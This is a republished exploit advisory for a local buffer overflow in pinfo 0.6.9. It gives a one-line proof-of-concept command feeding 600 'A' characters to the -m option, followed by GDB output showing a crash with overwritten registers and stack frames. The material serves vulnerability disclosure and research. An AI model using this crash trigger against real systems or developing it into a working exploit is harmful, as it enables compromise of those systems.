首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛

当前位置：主页>安全文章>文章资料>Exploits>文章内容 pinfo 0.6.9 - Local Buffer Overflow 来源：wassline@gmail.com 作者：Asrir 发布时间：2017-04-19   # Title: pinfo v0.6.9 - Local Buffer Overflow # Author: Nassim Asrir # Researcher at: Henceforth # Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: N/A   # Download #   $ apt-get install pinfo   # POC #   For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/   $ pinfo -m `python -c 'print "A"*600'` Przemek's Info Viewer v0.6.9 Looking for man page...   Caught signal 11, bye! Segmentation fault     # GDB Output #   $ gdb pinfo   (gdb) r -m `python -c 'print "A"*600'`   Program received signal SIGSEGV, Segmentation fault. __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 84  getenv.c: No such file or directory.   (gdb) info registers rax            0x54 84 rbx            0x4141414141414141   4702111234474983745   <==== rcx            0x1a8    424 rdx            0x10 16 rsi            0x7fffffffdaae   140737488345774 rdi            0x7ffff79831a8   140737347334568 rbp            0x7fffffffe0a8   0x7fffffffe0a8 rsp            0x7fffffffda90   0x7fffffffda90   r8             0x0  0 r9             0x20 32 r10            0x1ec    492 r11            0x7ffff796c630   140737347241520 r12            0x4554   17748 r13            0x4  4 r14            0x2  2 r15            0x7ffff79831aa   140737347334570 rip            0x7ffff73c911d   0x7ffff73c911d <__GI_getenv+173> eflags         0x10206  [ PF IF RF ] cs             0x33 51 ss             0x2b 43 ds             0x0  0 es             0x0  0 fs             0x0  0 gs             0x0  0   (gdb) where #0  __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 #1  0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5 #2  0x000055555556214a in ?? () #3  0x000055555555f165 in ?? () #4  0x0000555555557552 in ?? () #5  0x4141414141414141 in ?? () #6  0x4141414141414141 in ?? () #7  0x4141414141414141 in ?? () #8  0x4141414141414141 in ?? () #9  0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x4141414141414141 in ?? () #13 0x4141414141414141 in ?? () #14 0x4141414141414141 in ?? () #15 0x4141414141414141 in ?? () #16 0x4141414141414141 in ?? () #17 0x4141414141414141 in ?? () #18 0x4141414141414141 in ?? () #19 0x4141414141414141 in ?? () #20 0x4141414141414141 in ?? () #21 0x4141414141414141 in ?? () #22 0x4141414141414141 in ?? () #23 0x4141414141414141 in ?? () #24 0x4141414141414141 in ?? () #25 0x4141414141414141 in ?? () #26 0x4141414141414141 in ?? () #27 0x4141414141414141 in ?? () #28 0x4141414141414141 in ?? () #29 0x4141414141414141 in ?? () #30 0x4141414141414141 in ?? () #31 0x4141414141414141 in ?? () #32 0x4141414141414141 in ?? () #33 0x4141414141414141 in ?? () #34 0x4141414141414141 in ?? () #35 0x4141414141414141 in ?? () #36 0x4141414141414141 in ?? () #37 0x4141414141414141 in ?? () #38 0x4141414141414141 in ?? () #39 0x4141414141414141 in ?? () #40 0x4141414141414141 in ?? () #41 0x00007fffffff0020 in ?? () #42 0x00007fffffffebaa in ?? () ---Type <return> to continue, or q <return> to quit--- #43 0x00007fffffffebc2 in ?? () #44 0x00007fffffffebd6 in ?? () #45 0x00007fffffffebe1 in ?? () #46 0x00007fffffffec07 in ?? () #47 0x00007fffffffec18 in ?? () #48 0x00007fffffffec48 in ?? () #49 0x00007fffffffec52 in ?? () #50 0x00007fffffffec73 in ?? () #51 0x00007fffffffec7d in ?? () #52 0x00007fffffffec86 in ?? () #53 0x00007fffffffec91 in ?? () #54 0x00007fffffffeca4 in ?? () #55 0x00007fffffffecb7 in ?? () #56 0x00007fffffffeccc in ?? () #57 0x00007fffffffed08 in ?? () #58 0x00007fffffffed33 in ?? () #59 0x00007fffffffed58 in ?? () #60 0x00007fffffffed63 in ?? () #61 0x00007fffffffed74 in ?? () #62 0x00007fffffffed84 in ?? () #63 0x00007fffffffed8f in ?? () #64 0x00007fffffffedc3 in ?? () #65 0x00007fffffffeddc in ?? () #66 0x00007fffffffee0d in ?? () #67 0x00007fffffffee30 in ?? () #68 0x00007fffffffee3f in ?? () #69 0x00007fffffffee47 in ?? () #70 0x00007fffffffee59 in ?? () #71 0x00007fffffffee75 in ?? () #72 0x00007fffffffee82 in ?? () #73 0x00007fffffffeeb5 in ?? () #74 0x00007fffffffeed1 in ?? () #75 0x00007fffffffeeee in ?? () #76 0x00007fffffffef28 in ?? () #77 0x00007fffffffef97 in ?? () #78 0x0000000000000000 in ?? ()   [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]   匿名评论 评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。  §最新评论：

热点文章 ·CVE-2012-0217 Intel sysret exp ·Linux Kernel 2.6.32 Local Root ·Array Networks vxAG / xAPV Pri ·Novell NetIQ Privileged User M ·Array Networks vAPV / vxAG Cod ·Excel SLYK Format Parsing Buff ·PhpInclude.Worm - PHP Scripts ·Apache 2.2.0 - 2.2.11 Remote e ·VideoScript 3.0 <= 4.0.1.50 Of ·Yahoo! Messenger Webcam 8.1 Ac ·Family Connections <= 1.8.2 Re ·Joomla Component EasyBook 1.1   相关文章 ·Tenable Appliance < 4.5 - Unau ·Microsoft Word - .RTF Remote C ·Microsoft Windows - Uncredenti ·VLC Media Player 2.2.3 DecodeA ·Mantis Bug Tracker 1.3.0/2.3.0 ·Microsoft Windows taskschd.msc ·WinSCP 5.9.4 - 'LIST' Denial o ·Trend Micro Threat Discovery A ·VirusChaser 8.0 - Buffer Overf ·WebKit operationSpreadGeneric ·Linux Kernel 4.8.0 UDEV < 232 ·VirtualBox Unprivilege Host Us   推荐广告

CopyRight © 2002-2022 VFocuS.Net All Rights Reserved